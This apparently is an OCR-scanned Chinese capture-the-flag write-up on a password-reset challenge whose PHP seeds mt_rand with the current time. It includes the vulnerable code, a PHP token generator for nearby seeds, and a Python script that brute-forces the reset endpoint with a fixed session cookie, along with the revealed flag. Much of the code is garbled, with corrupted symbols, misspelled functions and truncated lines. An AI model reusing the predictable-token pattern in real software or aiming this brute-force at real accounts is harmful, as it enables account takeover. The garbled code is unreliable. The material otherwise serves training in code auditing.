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Please Reset Your Password Then Get your flag!
<a href="./resetpwd.php"></a>
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<?php
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST[ 'token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION[ 'token
if($_POST[ 'token']==$%_SESSION[ 'token']){
echo "PassResetSuccess! Your Flag is:".$flag;
}else{
echo "Token_error!";
¥
}else{
mt_srand(time());
$rand= mt_rand();
$_SESSIONJ 'token']=shal(md5($rand));

if(sendmymail ($_SESSION[ 'token'])){
echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check
}s
}
echo '<form action="" method="POST">
<input type="text" name="token">
<input type="submit" value="submit">
</form>";
echo "<!--\r\n".file_get_contents(__ FILE_ );
?>
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mt_srand(time());
$rand= mt_rand();
$_SESSION[ 'token']=shal(md5($rand));
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exp:
i Bh A
$base = time();

/B E— AN ) XA, SR R AT LARE 18 2 TE A i B ]
for($i = -5;%$i <= 5;%i++)

{
mt_srand($base+$i);
$rand = mt_rand();
echo shal(md5($rand))."<br/>";
}
EXP

import requests

r = requests.get('http://localhost/ttt.php")

rlt = r.text.split('<br/>")

rlt = rlt[:-1]

data = {}

header = {"Cookie":"PHPSESSID=294a9b966570ae34347a613e894d3271", "Referer":"http://labl.xseclab.com/pente
url = "http://labl.xseclab.com/pentest6_210deacdf@9c9fel84d16c8f7288164f/resetpwd.php’

#HE Btoken

r = requests.get(url,headers=header)

for i in rlt:
data["token"] = i
r = requests.post(url,data=data,headers=header)
r.encoding = r.apparent_encoding
if "Token_error!" not in r.text[:60]:
print(r.text[:60])
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PassResetSuccess! Your Flag is:NotSecurityRandomNowYouKnown<

T :https://www.cnblogs.com/kevinbruce656/p/11209125.html



	小明学习代码审计writeup
	小明学习代码审计writeup


